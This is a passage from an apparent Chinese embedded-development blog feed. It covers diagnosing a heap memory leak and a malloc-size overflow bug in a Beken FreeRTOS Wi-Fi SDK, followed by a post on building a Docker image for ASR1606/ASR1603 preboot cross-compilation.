<tr>
<td>U</td>
<td>0x40d150</td>
<td>0x40d160</td>
<td>0x9f569</td>
<td>32</td>
<td>9</td>
<td>dup_binstr</td>
</tr>
<tr>
<td>U</td>
<td>0x40d170</td>
<td>0x40d180</td>
<td>0x9ffbb</td>
<td>40</td>
<td>22</td>
<td>os_memdup</td>
</tr>
<tr>
<td>U</td>
<td>0x40d198</td>
<td>0x40d1a8</td>
<td>0x7111d</td>
<td>40</td>
<td>9</td>
<td>os_strdup</td>
</tr>
<tr>
<td>U</td>
<td>0x40d1c0</td>
<td>0x40d1d0</td>
<td>0x839e7</td>
<td>64</td>
<td>26</td>
<td>mm_printf_beacon_ie</td>
</tr>
<tr>
<td>U</td>
<td>0x40d200</td>
<td>0x40d210</td>
<td>0x35871</td>
<td>1048</td>
<td>1024</td>
<td>dhcp_server_init</td>
</tr>
<tr>
<td>U</td>
<td>0x40d618</td>
<td>0x40d628</td>
<td>0x285f9</td>
<td>112</td>
<td>92</td>
<td>sys_mbox_new</td>
</tr>
<tr>
<td>U</td>
<td>0x40d688</td>
<td>0x40d698</td>
<td>0x99e45</td>
<td>192</td>
<td>172</td>
<td>wpa_init</td>
</tr>
<tr>
<td>U</td>
<td>0x40d748</td>
<td>0x40d758</td>
<td>0x9bd61</td>
<td>40</td>
<td>22</td>
<td>wpa_auth_gen_wpa_ie</td>
</tr>
<tr>
<td>U</td>
<td>0x40d770</td>
<td>0x40d780</td>
<td>0x99d5b</td>
<td>232</td>
<td>208</td>
<td>wpa_group_init</td>
</tr>
<tr>
<td>U</td>
<td>0x40d858</td>
<td>0x40d868</td>
<td>0x9c23b</td>
<td>72</td>
<td>48</td>
<td>pmksa_cache_auth_init</td>
</tr>
<tr>
<td>U</td>
<td>0x40d8a0</td>
<td>0x40d8b0</td>
<td>0x9ddbb</td>
<td>40</td>
<td>22</td>
<td>hostap_set_generic_elem</td>
</tr>
<tr>
<td>U</td>
<td>0x40d8c8</td>
<td>0x40d8d8</td>
<td>0x9ffbb</td>
<td>48</td>
<td>22</td>
<td>os_memdup</td>
</tr>
</tbody>
</table>
<p>统计函数名字出现的频次，进行分组。</p>
<table>
<thead>
<tr>
<th>func_name</th>
<th>计数项:func_name</th>
</tr>
</thead>
<tbody>
<tr>
<td>add_notifier</td>
<td>1</td>
</tr>
<tr>
<td>ali_iot_open</td>
<td>2</td>
</tr>
<tr>
<td>atsvr_msg_main</td>
<td>1</td>
</tr>
<tr>
<td>cfg_param_init</td>
<td>3</td>
</tr>
<tr>
<td>cJSON_New_Item</td>
<td>99</td>
</tr>
<tr>
<td>cJSON_strdup</td>
<td>120</td>
</tr>
<tr>
<td>cli_init</td>
<td>1</td>
</tr>
<tr>
<td>dhcp_server_init</td>
<td>1</td>
</tr>
<tr>
<td>dup_binstr</td>
<td>2</td>
</tr>
<tr>
<td>eloop_register_signal</td>
<td>1</td>
</tr>
<tr>
<td>eloop_register_sock</td>
<td>1</td>
</tr>
<tr>
<td>eloop_register_timeout</td>
<td>1</td>
</tr>
<tr>
<td>fsocket_init</td>
<td>6</td>
</tr>
<tr>
<td>fsocket_send</td>
<td>1</td>
</tr>
<tr>
<td>handle_probe_req</td>
<td>1</td>
</tr>
<tr>
<td>handle_read</td>
<td>1</td>
</tr>
<tr>
<td>hostap_get_hw_feature_data</td>
<td>6</td>
</tr>
<tr>
<td>hostap_init</td>
<td>1</td>
</tr>
<tr>
<td>hostap_send_mlme</td>
<td>1</td>
</tr>
<tr>
<td>hostap_set_generic_elem</td>
<td>1</td>
</tr>
<tr>
<td>hostapd_add_iface</td>
<td>1</td>
</tr>
<tr>
<td>hostapd_alloc_bss_data</td>
<td>1</td>
</tr>
<tr>
<td>hostapd_alloc_iface</td>
<td>1</td>
</tr>
<tr>
<td>hostapd_config_defaults</td>
<td>3</td>
</tr>
<tr>
<td>hostapd_init</td>
<td>1</td>
</tr>
<tr>
<td>hostapd_main_entry</td>
<td>1</td>
</tr>
<tr>
<td>hostapd_prepare_rates</td>
<td>2</td>
</tr>
<tr>
<td>hostapd_setup_wpa_psk</td>
<td>1</td>
</tr>
<tr>
<td>kfifo_alloc</td>
<td>8</td>
</tr>
<tr>
<td>l2_packet_init</td>
<td>2</td>
</tr>
<tr>
<td>mm_printf_beacon_ie</td>
<td>5</td>
</tr>
<tr>
<td>os_memdup</td>
<td>2</td>
</tr>
<tr>
<td>os_realloc_array</td>
<td>1</td>
</tr>
<tr>
<td>os_strdup</td>
<td>4</td>
</tr>
<tr>
<td>parse_string</td>
<td>10</td>
</tr>
<tr>
<td>pmksa_cache_auth_init</td>
<td>1</td>
</tr>
<tr>
<td>pmksa_cache_init</td>
<td>1</td>
</tr>
<tr>
<td>prvCheckForValidListAndQueue</td>
<td>1</td>
</tr>
<tr>
<td>ql_ssl_ctx_init</td>
<td>6</td>
</tr>
<tr>
<td>rtos_create_thread</td>
<td>28</td>
</tr>
<tr>
<td>rtos_init_queue</td>
<td>8</td>
</tr>
<tr>
<td>rtos_init_timer</td>
<td>2</td>
</tr>
<tr>
<td>supplicant_main_entry</td>
<td>1</td>
</tr>
<tr>
<td>sys_mbox_new</td>
<td>4</td>
</tr>
<tr>
<td>sys_sem_new</td>
<td>5</td>
</tr>
<tr>
<td>sys_thread_new</td>
<td>2</td>
</tr>
<tr>
<td>vTaskStartScheduler</td>
<td>2</td>
</tr>
<tr>
<td>wpa_auth_gen_wpa_ie</td>
<td>1</td>
</tr>
<tr>
<td>wpa_bss_update_scan_res</td>
<td>2</td>
</tr>
<tr>
<td>wpa_config_alloc_empty</td>
<td>1</td>
</tr>
<tr>
<td>wpa_config_read</td>
<td>1</td>
</tr>
<tr>
<td>wpa_driver_init</td>
<td>1</td>
</tr>
<tr>
<td>wpa_group_init</td>
<td>1</td>
</tr>
<tr>
<td>wpa_init</td>
<td>1</td>
</tr>
<tr>
<td>wpa_psk_cache_init</td>
<td>1</td>
</tr>
<tr>
<td>wpa_sm_init</td>
<td>1</td>
</tr>
<tr>
<td>wpa_supplicant_add_iface</td>
<td>2</td>
</tr>
<tr>
<td>wpa_supplicant_init</td>
<td>2</td>
</tr>
<tr>
<td>wpa_supplicant_init_wpa</td>
<td>1</td>
</tr>
<tr>
<td>xQueueCreateCountingSemaphore</td>
<td>10</td>
</tr>
<tr>
<td>xQueueCreateMutex</td>
<td>428</td>
</tr>
<tr>
<td>xTimerCreateTimerTask</td>
<td>2</td>
</tr>
</tbody>
</table>
<p>xQueueCreateMutex 出现的次数最多，xQueueCreateMutex 调用一次分配 104 内存，出现 428 次，也就使用了 40 多 k 的内存一直没释放。</p>
<p>排查代码逻辑，在联网失败的时候进入错误处理，有个互斥锁创建了未销毁，导致内存泄漏。
<img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/20240729/image.51e1ygv6zq.webp" alt=""  />
</p>
<h4 id="小结">小结</h4>
<p>内存泄漏的判断方法：</p>
<ol>
<li>功能打开关闭之后，对比前后的 heap info 信息，看看有哪些新增加的内存分配信息，按照这个线索去排查。</li>
<li>挂机压测一段时间之后，打印 heap info 信息，按照 caller 出现的次数排序，出现次数较多的前几个 caller，或者内存申请较多的caller，是该怀疑存在内存泄漏的对象。</li>
</ol>
<h3 id="heap-内存写越界案例">heap 内存写越界案例</h3>
<p>free 的时候检测到内存块被破坏</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">mem corrupt,block:0x422ef8, blocksize:24, xWantedSize:4, caller:0x34747
</span></span><span class="line"><span class="cl">dump block:
</span></span><span class="line"><span class="cl">00000000:  <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">18</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span>  ........
</span></span><span class="line"><span class="cl">00000008:  <span class="m">04</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">47</span> <span class="m">47</span> <span class="m">03</span> <span class="m">00</span>  ....GG..
</span></span><span class="line"><span class="cl">00000010:  <span class="m">48</span> <span class="m">54</span> <span class="m">54</span> <span class="m">50</span> 2F <span class="m">31</span> 2E <span class="m">30</span>  HTTP/1.0
</span></span></code></pre></td></tr></table>
</div>
</div><p>调用者申请了4字节内存空间，分配的内存块大小是24字节，减去头部16字节，后面填充了4字节的0xfd,从dump的内存数据来看，填充的数据都被覆盖完了, 通过 caller:0x34747 查找代码位置</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">FC41D/beken_freertos_sdk_release-SDK_3.0.21 on  Iotbranch <span class="o">[</span>!?⇡<span class="o">]</span> 
</span></span><span class="line"><span class="cl">❯ ./toolchain/gcc-arm-none-eabi-5_4-2016q3/bin/arm-none-eabi-addr2line -e Release/Debug/beken7231_bsp.elf  -f 0x34747
</span></span><span class="line"><span class="cl">fs_open_custom
</span></span><span class="line"><span class="cl">/home/x/FC41D/beken_freertos_sdk_release-SDK_3.0.21/beken378/func/lwip_intf/lwip-2.0.2/src/apps/httpd/custom_fsdata.c:239
</span></span></code></pre></td></tr></table>
</div>
</div><p>对应代码：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span><span class="lnt">76
</span><span class="lnt">77
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">fs_open_custom</span><span class="p">(</span><span class="k">struct</span> <span class="n">fs_file</span> <span class="o">*</span><span class="n">file</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">name</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="o">*</span><span class="n">wifi_data</span><span class="o">=</span><span class="s">&#34;{</span><span class="se">\&#34;</span><span class="s">aps</span><span class="se">\&#34;</span><span class="s">:[{</span><span class="se">\&#34;</span><span class="s">ssid</span><span class="se">\&#34;</span><span class="s">:</span><span class="se">\&#34;</span><span class="s">123</span><span class="se">\&#34;</span><span class="s">},{</span><span class="se">\&#34;</span><span class="s">ssid</span><span class="se">\&#34;</span><span class="s">:</span><span class="se">\&#34;</span><span class="s">test234</span><span class="se">\&#34;</span><span class="s">}]}&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">file_data_len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">     <span class="cm">/* this example only provides one file */</span>
</span></span><span class="line"><span class="cl">     <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nf">strcmp</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="s">&#34;/wifilist.html&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">     <span class="p">{</span>
</span></span><span class="line"><span class="cl">         <span class="cm">/* initialize fs_file correctly */</span>
</span></span><span class="line"><span class="cl">         <span class="nf">memset</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">fs_file</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">         <span class="n">file_data_len</span> <span class="o">=</span> <span class="nf">strlen</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">CUSTOM_FSDATA_WIFILIST_HTML_HEADER</span><span class="p">)</span> <span class="o">+</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">wifi_data</span><span class="p">)</span> <span class="o">+</span><span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">         <span class="n">file</span><span class="o">-&gt;</span><span class="n">pextension</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">file_data_len</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">         <span class="k">if</span> <span class="p">(</span><span class="n">file</span><span class="o">-&gt;</span><span class="n">pextension</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">         <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">memset</span><span class="p">(</span><span class="n">file</span><span class="o">-&gt;</span><span class="n">pextension</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">file_data_len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="n">file_data_len</span> <span class="o">=</span> <span class="nf">snprintf</span><span class="p">(</span><span class="n">file</span><span class="o">-&gt;</span><span class="n">pextension</span><span class="p">,</span> <span class="n">file_data_len</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="s">&#34;%s%s&#34;</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">CUSTOM_FSDATA_WIFILIST_HTML_HEADER</span><span class="p">,</span> <span class="n">wifi_data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">            <span class="n">file</span><span class="o">-&gt;</span><span class="n">data</span> <span class="o">=</span> <span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">file</span><span class="o">-&gt;</span><span class="n">pextension</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="n">file</span><span class="o">-&gt;</span><span class="n">len</span> <span class="o">=</span> <span class="n">file_data_len</span><span class="p">;</span> <span class="cm">/* don&#39;t send the trailing 0 */</span>
</span></span><span class="line"><span class="cl">            <span class="n">file</span><span class="o">-&gt;</span><span class="n">index</span> <span class="o">=</span> <span class="n">file</span><span class="o">-&gt;</span><span class="n">len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="cm">/* allow persisteng connections */</span>
</span></span><span class="line"><span class="cl">            <span class="n">file</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">=</span> <span class="n">FS_FILE_FLAGS_HEADER_INCLUDED</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">         <span class="p">}</span>
</span></span><span class="line"><span class="cl">     <span class="p">}</span>
</span></span><span class="line"><span class="cl">     <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nf">strcmp</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="s">&#34;/index.html&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">     <span class="p">{</span>
</span></span><span class="line"><span class="cl">         <span class="kt">char</span> <span class="o">*</span><span class="n">sta_state_data</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">         <span class="n">uint32</span> <span class="n">uart_band</span> <span class="o">=</span> <span class="mi">9600</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">         <span class="n">uint8</span> <span class="n">ssid</span><span class="p">[</span><span class="mi">33</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">         <span class="n">uint8</span> <span class="n">psk</span><span class="p">[</span><span class="mi">64</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">         <span class="kt">int</span> <span class="n">apon</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">         <span class="kt">char</span> <span class="o">*</span><span class="n">ap_state_data</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">         <span class="k">if</span> <span class="p">(</span><span class="nf">custom_fsdata_sta_state</span><span class="p">()</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">         <span class="p">{</span>
</span></span><span class="line"><span class="cl">             <span class="n">sta_state_data</span> <span class="o">=</span> <span class="n">CUSTOM_FSDATA_STA_CONNECTED</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">         <span class="p">}</span>
</span></span><span class="line"><span class="cl">         <span class="k">else</span>
</span></span><span class="line"><span class="cl">         <span class="p">{</span>
</span></span><span class="line"><span class="cl">             <span class="n">sta_state_data</span> <span class="o">=</span> <span class="n">CUSTOM_FSDATA_STA_DISCONNECTED</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">         <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">         <span class="nf">custom_sw_ap_cfg_get</span><span class="p">(</span><span class="n">apssid</span><span class="p">,</span> <span class="n">appass</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">apon</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">         <span class="k">if</span> <span class="p">(</span><span class="n">apon</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">         <span class="p">{</span>
</span></span><span class="line"><span class="cl">             <span class="n">ap_state_data</span> <span class="o">=</span> <span class="s">&#34;Up&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">         <span class="p">}</span>
</span></span><span class="line"><span class="cl">         <span class="k">else</span>
</span></span><span class="line"><span class="cl">         <span class="p">{</span>
</span></span><span class="line"><span class="cl">             <span class="n">ap_state_data</span> <span class="o">=</span> <span class="s">&#34;Down&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">         <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">         <span class="nf">custom_config_uart_braud_get</span><span class="p">(</span><span class="o">&amp;</span><span class="n">uart_band</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">         <span class="nf">custom_sta_cfg_get</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">psk</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">         <span class="cm">/* initialize fs_file correctly */</span>
</span></span><span class="line"><span class="cl">         <span class="nf">memset</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">fs_file</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">         <span class="n">file_data_len</span> <span class="o">=</span> <span class="nf">strlen</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">CUSTOM_FSDATA_INDEX_HTML_HEADER</span><span class="p">)</span> <span class="o">+</span> <span class="nf">strlen</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">CUSTOM_FSDATA_INDEX_HTML_FILE_FMT</span><span class="p">)</span> <span class="o">+</span> <span class="mi">10</span> <span class="cm">/* for uart band */</span> <span class="o">+</span> <span class="nf">strlen</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">ssid</span><span class="p">)</span> <span class="o">+</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">ap_state_data</span><span class="p">)</span> <span class="o">+</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">sta_state_data</span><span class="p">)</span> <span class="o">+</span> <span class="nf">strlen</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">apssid</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span> <span class="cm">/* \0 */</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">         <span class="n">file</span><span class="o">-&gt;</span><span class="n">pextension</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">file_data_len</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">         <span class="k">if</span> <span class="p">(</span><span class="n">file</span><span class="o">-&gt;</span><span class="n">pextension</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">         <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">memset</span><span class="p">(</span><span class="n">file</span><span class="o">-&gt;</span><span class="n">pextension</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">file_data_len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="n">file_data_len</span> <span class="o">=</span> <span class="nf">snprintf</span><span class="p">(</span><span class="n">file</span><span class="o">-&gt;</span><span class="n">pextension</span><span class="p">,</span> <span class="n">file_data_len</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">CUSTOM_FSDATA_INDEX_HTML_FILE_FMT</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">CUSTOM_FSDATA_INDEX_HTML_HEADER</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">ssid</span><span class="p">,</span> <span class="n">sta_state_data</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">apssid</span><span class="p">,</span> <span class="n">ap_state_data</span><span class="p">,</span> <span class="n">uart_band</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">            <span class="n">file</span><span class="o">-&gt;</span><span class="n">data</span> <span class="o">=</span> <span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">file</span><span class="o">-&gt;</span><span class="n">pextension</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="n">file</span><span class="o">-&gt;</span><span class="n">len</span> <span class="o">=</span> <span class="n">file_data_len</span><span class="p">;</span> <span class="cm">/* don&#39;t send the trailing 0 */</span>
</span></span><span class="line"><span class="cl">            <span class="n">file</span><span class="o">-&gt;</span><span class="n">index</span> <span class="o">=</span> <span class="n">file</span><span class="o">-&gt;</span><span class="n">len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="cm">/* allow persisteng connections */</span>
</span></span><span class="line"><span class="cl">            <span class="n">file</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">=</span> <span class="n">FS_FILE_FLAGS_HEADER_INCLUDED</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">         <span class="p">}</span>
</span></span><span class="line"><span class="cl">     <span class="p">}</span>
</span></span><span class="line"><span class="cl">     <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>file-&gt;pextension = malloc(sizeof(file_data_len)); 传的参数传错了，sizeof(file_data_len) 是4字节，实际需要申请 file_data_len 字节，导致后面内存写越界了。</p>
]]></content:encoded>
    </item>
    <item>
      <title>使用 docker 构建 preboot 交叉编译环境</title>
      <link>https://hacperme.com/posts/notes/20240505_docker_preboot_builder/</link>
      <pubDate>Sun, 05 May 2024 02:00:18 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20240505_docker_preboot_builder/</guid>
      <description>ASR1606/ASR1603 的 preboot 代码需要在 Linux 环境下编译，通常使用 VMware 或者 VirtualBox 软件创建一个 Linux 虚拟机，在虚拟机中做交叉编译。但 preboot 不是那种需要经常编译的代码，完全可以将 preboot 的编译</description>
      <content:encoded><![CDATA[<p>ASR1606/ASR1603 的 preboot 代码需要在 Linux 环境下编译，通常使用 VMware 或者 VirtualBox 软件创建一个 Linux 虚拟机，在虚拟机中做交叉编译。但 preboot 不是那种需要经常编译的代码，完全可以将 preboot 的编译环境制作成 docker 镜像，与虚拟机相比，docker 的启动速度更快，占用资源更少，需要用到的时候创建一个 docker 容器来编译 preboot，非常适合用来做这类偶尔需要用一下的场景。</p>
<h2 id="构建镜像">构建镜像</h2>
<p>docker 根据 dockerfile 文件来构建镜像，dockerfile 中的命令描述其实就是搭建交叉编译环境的过程，主要将工具链、编译脚本复制到镜像内并配置好环境变量。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-dockerfile" data-lang="dockerfile"><span class="line"><span class="cl"><span class="k">FROM</span><span class="s"> ubuntu:latest</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span><span class="k">LABEL</span> <span class="nv">version</span><span class="o">=</span><span class="s2">&#34;1.0.0&#34;</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span><span class="k">LABEL</span> <span class="nv">author</span><span class="o">=</span><span class="s2">&#34;hacper&#34;</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span><span class="k">RUN</span> apt update <span class="o">&amp;&amp;</span> apt install make unzip curl -y <span class="o">&amp;&amp;</span>  mkdir /preboot <span class="o">&amp;&amp;</span> mkdir /preboot/src<span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span><span class="k">COPY</span> gcc-arm-none-eabi-9-2019-q4-major.zip /preboot<span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span><span class="k">COPY</span> build_CRANEL.sh /preboot<span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span><span class="k">COPY</span> build_CRANEM.sh /preboot<span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span><span class="k">WORKDIR</span><span class="s"> /preboot</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span><span class="k">RUN</span> unzip gcc-arm-none-eabi-9-2019-q4-major.zip <span class="o">&amp;&amp;</span> rm gcc-arm-none-eabi-9-2019-q4-major.zip<span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span><span class="k">ENV</span> <span class="nv">PATH</span><span class="o">=</span><span class="nv">$PATH</span>:/preboot/gcc-arm-none-eabi-9-2019-q4-major/bin<span class="err">
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>依赖的工具链 gcc-arm-none-eabi-9-2019-q4-major.zip，需要将其放在根目录。然后执行 docker build 命令构建镜像：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">docker build -t hacper/preboot_builder:latest .
</span></span></code></pre></td></tr></table>
</div>
</div><p>镜像构建完成之后可以将镜像推送到 <a href="https://hub.docker.com/">docker hub</a>，后面使用的时候直接从  <a href="https://hub.docker.com/">docker hub</a> 拉取构建好的镜像。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">docker push hacper/preboot_builder
